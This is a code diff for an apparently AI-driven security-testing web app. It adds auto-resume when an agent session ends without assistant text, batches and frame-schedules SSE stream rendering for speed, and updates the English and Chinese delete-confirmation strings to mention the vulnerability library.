+		if progress != nil {
+			progress("eino_empty_response_continue", "会话已结束但未产生助手正文，正在基于轨迹自动续跑…", map[string]interface{}{
+				"conversationId": conversationID,
+				"source":         "eino",
+				"resumeKind":     "trace_segment",
+			})
+		}
+		return out, ErrEmptyResponseContinue
+	}
 	return out, nil
 }
 
+func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
+	if out == nil || accumulatedLen <= baseCount {
+		return false
+	}
+	return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
+}
+
 func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
 	if args != nil && args.ModelFacingTrace != nil {
 		if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {

internal/multiagent/eino_empty_response_test.go

@@ -0,0 +1,21 @@
+package multiagent
+
+import "testing"
+
+func TestShouldEinoEmptyResponseContinue(t *testing.T) {
+	t.Parallel()
+	hint := "(empty hint)"
+	out := &RunResult{Response: hint}
+	if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
+		t.Fatal("expected continue when response is empty hint and trace grew")
+	}
+	if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
+		t.Fatal("expected no continue when trace did not grow")
+	}
+	if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
+		t.Fatal("expected no continue when response has content")
+	}
+	if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
+		t.Fatal("expected no continue for nil result")
+	}
+}

internal/multiagent/interrupt.go

@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
 // ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束，应由 handler 落库轨迹后
 // loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue 同级的「分段续跑」语义）。
 var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
+
+// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文，应由 handler 落库轨迹后
+// loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue / ErrTransientRetryContinue 同级）。
+var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")

web/static/css/style.css

@@ -4095,6 +4095,12 @@ header {
     word-break: break-word;
 }
 
+/* 长过程详情：跳过视口外时间线条目的布局/绘制，减轻大段工具输出时的主线程压力 */
+.progress-timeline .timeline-item {
+    content-visibility: auto;
+    contain-intrinsic-size: auto 72px;
+}
+
 .tool-details {
     display: flex;
     flex-direction: column;

web/static/i18n/en-US.json

@@ -464,7 +464,7 @@
     "noHistoryConversations": "No conversation history yet",
     "renameGroupPrompt": "Please enter new name:",
     "deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
-    "deleteConversationConfirm": "Are you sure you want to delete this conversation?",
+    "deleteConversationConfirm": "Delete this conversation? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
     "renameFailed": "Rename failed",
     "downloadConversationFailed": "Failed to download conversation",
     "viewAttackChainSelectConv": "Please select a conversation to view attack chain",
@@ -501,6 +501,8 @@
     "einoStreamErrorTitle": "⚠️ Eino stream interrupted ({{agent}})",
     "einoStreamErrorMessage": "Streaming read failed; the system will retry or terminate according to policy.",
     "einoRunRetryTitle": "🔁 Transient error retry",
+    "einoEmptyResponseContinueTitle": "🔁 Auto resume (no assistant text)",
+    "einoEmptyResponseContinueMessage": "Session ended without captured assistant text; resuming from trace…",
     "einoRunRetryErrorDetail": "Error detail",
     "iterationLimitReachedTitle": "⛔ Iteration limit reached",
     "iterationLimitReachedMessage": "Maximum iteration count reached; automatic iteration has stopped.",
@@ -2319,7 +2321,7 @@
     "selectAll": "Select all",
     "deleteSelected": "Delete selected",
     "confirmDeleteNone": "Please select at least one conversation to delete",
-    "confirmDeleteN": "Delete {{count}} selected conversation(s)?",
+    "confirmDeleteN": "Delete {{count}} selected conversation(s)? Chat messages cannot be recovered, but recorded vulnerabilities will remain in the vulnerability library.",
     "deleteFailed": "Delete failed",
     "unnamedConversation": "Unnamed conversation"
   },

web/static/i18n/zh-CN.json

@@ -452,7 +452,7 @@
     "noHistoryConversations": "暂无历史对话",
     "renameGroupPrompt": "请输入新名称：",
     "deleteGroupConfirm": "确定要删除此分组吗？分组中的对话不会被删除，但会从分组中移除。",
-    "deleteConversationConfirm": "确定要删除此对话吗？",
+    "deleteConversationConfirm": "确定要删除此对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。",
     "renameFailed": "重命名失败",
     "downloadConversationFailed": "下载对话失败",
     "viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
@@ -489,6 +489,8 @@
     "einoStreamErrorTitle": "⚠️ Eino 流式中断（{{agent}}）",
     "einoStreamErrorMessage": "流式读取异常，系统将按策略重试或结束。",
     "einoRunRetryTitle": "🔁 临时错误重试",
+    "einoEmptyResponseContinueTitle": "🔁 自动续跑（无助手正文）",
+    "einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文，正在基于轨迹自动续跑…",
     "einoRunRetryErrorDetail": "具体报错",
     "iterationLimitReachedTitle": "⛔ 达到迭代上限",
     "iterationLimitReachedMessage": "已达到最大迭代次数，任务已停止继续自动迭代。",
@@ -2307,7 +2309,7 @@
     "selectAll": "全选",
     "deleteSelected": "删除所选",
     "confirmDeleteNone": "请先选择要删除的对话",
-    "confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗？",
+    "confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。",
     "deleteFailed": "删除失败",
     "unnamedConversation": "未命名对话"
   },

web/static/js/chat.js

@@ -982,6 +982,24 @@ async function sendMessage() {
             const reader = response.body.getReader();
             const decoder = new TextDecoder();
             let buffer = '';
+            const dispatchStreamEvent = function (eventData) {
+                handleStreamEvent(eventData, progressElement, progressId,
+                    () => assistantMessageId, (id) => { assistantMessageId = id; },
+                    () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
+            };
+            const processSseLines = typeof processSseDataLinesYielding === 'function'
+                ? processSseDataLinesYielding
+                : async function (lines, onEvent) {
+                    for (const line of lines) {
+                        if (line.startsWith('data: ')) {
+                            try {
+                                onEvent(JSON.parse(line.slice(6)));
+                            } catch (e) {
+                                console.error('解析事件数据失败:', e, line);
+                            }
+                        }
+                    }
+                };
 
             while (true) {
                 const { done, value } = await reader.read();
@@ -991,18 +1009,7 @@ async function sendMessage() {
                 const lines = buffer.split('\n');
                 buffer = lines.pop(); // 保留最后一个不完整的行
 
-                for (const line of lines) {
-                    if (line.startsWith('data: ')) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, progressElement, progressId,
-                                             () => assistantMessageId, (id) => { assistantMessageId = id; },
-                                             () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
-                        } catch (e) {
-                            console.error('解析事件数据失败:', e, line);
-                        }
-                    }
-                }
+                await processSseLines(lines, dispatchStreamEvent);
             }
             // Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
             buffer += decoder.decode();
@@ -1010,18 +1017,7 @@ async function sendMessage() {
             // 处理剩余的buffer
             if (buffer.trim()) {
                 const lines = buffer.split('\n');
-                for (const line of lines) {
-                    if (line.startsWith('data: ')) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, progressElement, progressId,
-                                             () => assistantMessageId, (id) => { assistantMessageId = id; },
-                                             () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
-                        } catch (e) {
-                            console.error('解析事件数据失败:', e, line);
-                        }
-                    }
-                }
+                await processSseLines(lines, dispatchStreamEvent);
             }
         } finally {
             window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
@@ -2384,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
             itemTitle = agPx + execLine;
         } else if (eventType === 'eino_agent_reply') {
             itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
+        } else if (eventType === 'eino_empty_response_continue') {
+            itemTitle = typeof window.t === 'function'
+                ? window.t('chat.einoEmptyResponseContinueTitle')
+                : '🔁 自动续跑（无助手正文）';
         } else if (eventType === 'eino_run_retry') {
             itemTitle = typeof window.t === 'function'
                 ? window.t('chat.einoRunRetryTitle')
@@ -3369,7 +3369,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
 async function deleteConversation(conversationId, skipConfirm = false) {
     // 确认删除（如果调用者没有跳过确认）
     if (!skipConfirm) {
-        if (!confirm('确定要删除这个对话吗？此操作不可恢复。')) {
+        if (!confirm('确定要删除这个对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。')) {
             return;
         }
     }

web/static/js/monitor.js

@@ -638,18 +638,126 @@ function mergeStreamBuffer(current, delta, data) {
 if (typeof window !== 'undefined') {
     window.streamBufferFromAccumulated = streamBufferFromAccumulated;
     window.mergeStreamBuffer = mergeStreamBuffer;
+    window.processSseDataLinesYielding = processSseDataLinesYielding;
+    window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
+    window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
+}
+
+/** 流式纯文本 DOM：按帧合并更新，尽量增量 appendData，避免每条 SSE 全量 textContent 阻塞主线程 */
+const streamPlainDomState = new WeakMap();
+/** 跟踪仍有待刷新的流式节点，便于快照时间线前一次性 flush */
+const streamPlainDomPendingElements = new Set();
+
+function applyStreamPlainTextNow(contentEl, text, state) {
+    if (!contentEl) return;
+    const full = text == null ? '' : String(text);
+    const prevLen = state && state.renderedLen ? state.renderedLen : 0;
+    contentEl.classList.add('timeline-stream-plain');
+
+    if (full.length > prevLen && contentEl.childNodes.length === 1 &&
+        contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
+        const existing = contentEl.firstChild.nodeValue || '';
+        if (existing.length === prevLen && full.startsWith(existing)) {
+            const delta = full.slice(prevLen);
+            if (delta) {
+                contentEl.firstChild.appendData(delta);
+                if (state) {
+                    state.renderedLen = full.length;
+                    state.pendingText = full;
+                }
+                return;
+            }
+        }
+    }
+
+    contentEl.textContent = full;
+    if (state) {
+        state.renderedLen = full.length;
+        state.pendingText = full;
+    }
+}
+
+function flushStreamPlainTextUpdate(contentEl) {
+    if (!contentEl) return;
+    const state = streamPlainDomState.get(contentEl);
+    if (!state) return;
+    if (state.rafId) {
+        cancelAnimationFrame(state.rafId);
+        state.rafId = 0;
+    }
+    applyStreamPlainTextNow(contentEl, state.pendingText, state);
+}
+
+function scheduleStreamPlainTextUpdate(contentEl, text) {
+    if (!contentEl) return;
+    const full = text == null ? '' : String(text);
+    let state = streamPlainDomState.get(contentEl);
+    if (!state) {
+        state = { pendingText: full, rafId: 0, renderedLen: 0 };
+        streamPlainDomState.set(contentEl, state);
+    } else {
+        state.pendingText = full;
+    }
+    streamPlainDomPendingElements.add(contentEl);
+    if (state.rafId) return;
+    state.rafId = requestAnimationFrame(function () {
+        state.rafId = 0;
+        applyStreamPlainTextNow(contentEl, state.pendingText, state);
+    });
+}
+
+function resetStreamPlainTextState(contentEl) {
+    if (!contentEl) return;
+    const state = streamPlainDomState.get(contentEl);
+    if (state && state.rafId) {
+        cancelAnimationFrame(state.rafId);
+    }
+    streamPlainDomState.delete(contentEl);
+    streamPlainDomPendingElements.delete(contentEl);
+}
+
+function flushAllPendingStreamPlainUpdates() {
+    streamPlainDomPendingElements.forEach(function (el) {
+        if (el && el.isConnected) {
+            flushStreamPlainTextUpdate(el);
+        }
+    });
 }
 
 /** 流式 delta：纯文本，避免每条全量 marked + DOMPurify */
 function setTimelineItemContentStreamPlain(contentEl, text) {
     if (!contentEl) return;
-    contentEl.classList.add('timeline-stream-plain');
-    contentEl.textContent = text == null ? '' : String(text);
+    resetStreamPlainTextState(contentEl);
+    applyStreamPlainTextNow(contentEl, text, null);
+}
+
+/**
+ * 分批处理 SSE data 行并在批间让出主线程，避免单次 read() 内数百条事件连续阻塞 UI。
+ * @param {string[]} lines
+ * @param {(event: object) => void} onEvent
+ * @param {{ yieldEvery?: number }} [options]
+ */
+async function processSseDataLinesYielding(lines, onEvent, options) {
+    const yieldEvery = (options && options.yieldEvery) || 32;
+    for (let i = 0; i < lines.length; i++) {
+        const line = lines[i];
+        if (line.startsWith('data: ')) {
+            try {
+                onEvent(JSON.parse(line.slice(6)));
+            } catch (e) {
+                console.error('解析事件数据失败:', e, line);
+            }
+        }
+        if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
+            await new Promise(function (resolve) { requestAnimationFrame(resolve); });
+        }
+    }
 }
 
 /** 流结束或非流式：富文本（已消毒的 HTML 字符串） */
 function setTimelineItemContentStreamRich(contentEl, html) {
     if (!contentEl) return;
+    resetStreamPlainTextState(contentEl);
     contentEl.classList.remove('timeline-stream-plain');
     contentEl.innerHTML = html;
 }
@@ -1054,6 +1162,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
     const progressElement = document.getElementById(progressId);
     if (!progressElement) return;
 
+    // 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新，避免过程详情少最后几帧
+    flushAllPendingStreamPlainUpdates();
+
     // Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
     // Otherwise, once the progress element is removed, later 'done' events may not be able
     // to update the original timeline DOM and the copied HTML would stay "执行中".
@@ -1668,7 +1779,7 @@ function handleStreamEvent(event, progressElement, progressId,
             if (item) {
                 const contentEl = item.querySelector('.timeline-item-content');
                 if (contentEl) {
-                    setTimelineItemContentStreamPlain(contentEl, s.buffer);
+                    scheduleStreamPlainTextUpdate(contentEl, s.buffer);
                 }
             }
             break;
@@ -1688,6 +1799,7 @@ function handleStreamEvent(event, progressElement, progressId,
                     if (item) {
                         const contentEl = item.querySelector('.timeline-item-content');
                         if (contentEl) {
+                            flushStreamPlainTextUpdate(contentEl);
                             if (typeof formatMarkdown === 'function') {
                                 setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
                             } else {
@@ -1784,6 +1896,21 @@ function handleStreamEvent(event, progressElement, progressId,
             break;
         }
 
+        case 'eino_empty_response_continue': {
+            const d = event.data || {};
+            const title = typeof window.t === 'function'
+                ? window.t('chat.einoEmptyResponseContinueTitle')
+                : '🔁 自动续跑（无助手正文）';
+            addTimelineItem(timeline, 'warning', {
+                title: title,
+                message: event.message || (typeof window.t === 'function'
+                    ? window.t('chat.einoEmptyResponseContinueMessage')
+                    : '会话已结束但未捕获到助手正文，正在基于轨迹自动续跑…'),
+                data: d
+            });
+            break;
+        }
+
         case 'eino_run_retry': {
             const d = event.data || {};
             const title = typeof window.t === 'function'
@@ -1899,7 +2026,7 @@ function handleStreamEvent(event, progressElement, progressId,
                 const pre = item.querySelector('pre.tool-result');
                 if (pre) {
                     pre.classList.remove('tool-result-pending');
-                    pre.textContent = state.buffer;
+                    scheduleStreamPlainTextUpdate(pre, state.buffer);
                 }
             }
             break;
@@ -2006,7 +2133,7 @@ function handleStreamEvent(event, progressElement, progressId,
                     }
                 }
                 if (contentEl) {
-                    setTimelineItemContentStreamPlain(contentEl, s.buffer);
+                    scheduleStreamPlainTextUpdate(contentEl, s.buffer);
                 }
             }
             break;
@@ -2033,6 +2160,7 @@ function handleStreamEvent(event, progressElement, progressId,
                         contentEl.className = 'timeline-item-content';
                         item.appendChild(contentEl);
                     }
+                    flushStreamPlainTextUpdate(contentEl);
                     if (typeof formatMarkdown === 'function') {
                         setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
                     } else {
@@ -2209,15 +2337,13 @@ function handleStreamEvent(event, progressElement, progressId,
             if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
             state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
 
-            // 更新时间线条目内容
+            // 流式阶段仅追加纯文本；formatTimelineStreamBody 在终态 response 时一次性处理
             if (state.itemId) {
                 const item = document.getElementById(state.itemId);
                 if (item) {
                     const contentEl = item.querySelector('.timeline-item-content');
                     if (contentEl) {
-                        const meta = state.streamMeta || responseData;
-                        const body = formatTimelineStreamBody(state.buffer, meta);
-                        setTimelineItemContentStreamPlain(contentEl, body);
+                        scheduleStreamPlainTextUpdate(contentEl, state.buffer);
                     }
                 }
             }
@@ -2757,39 +2883,22 @@ async function attachRunningTaskEventStream(conversationId) {
             const reader = response.body.getReader();
             const decoder = new TextDecoder();
             let buffer = '';
+            const dispatchTaskEvent = function (eventData) {
+                handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
+            };
             while (true) {
                 const chunk = await reader.read();
                 if (chunk.done) break;
                 buffer += decoder.decode(chunk.value, { stream: true });
                 const lines = buffer.split('\n');
                 buffer = lines.pop() || '';
-                for (let li = 0; li < lines.length; li++) {
-                    const line = lines[li];
-                    if (line.indexOf('data: ') === 0) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
-                        } catch (e) {
-                            console.error('task-events parse', e);
-                        }
-                    }
-                }
+                await processSseDataLinesYielding(lines, dispatchTaskEvent);
             }
             // Flush decoder internal buffer to avoid dropping trailing partial UTF-8 bytes.
             buffer += decoder.decode();
             if (buffer.trim()) {
                 const lines = buffer.split('\n');
-                for (let li = 0; li < lines.length; li++) {
-                    const line = lines[li];
-                    if (line.indexOf('data: ') === 0) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
-                        } catch (e) {
-                            console.error('task-events parse', e);
-                        }
-                    }
-                }
+                await processSseDataLinesYielding(lines, dispatchTaskEvent);
             }
             if (window.csTaskReplay && window.csTaskReplay.progressId === progressId) {
                 clearCsTaskReplay();
@@ -2921,7 +3030,9 @@ function mergeToolResultIntoCallItem(item, data, options) {
     const pre = section.querySelector('pre.tool-result');
     if (pre) {
         pre.classList.remove('tool-result-pending');
+        flushStreamPlainTextUpdate(pre);
         pre.textContent = text;
+        resetStreamPlainTextState(pre);
     }
 
     if (data.executionId) {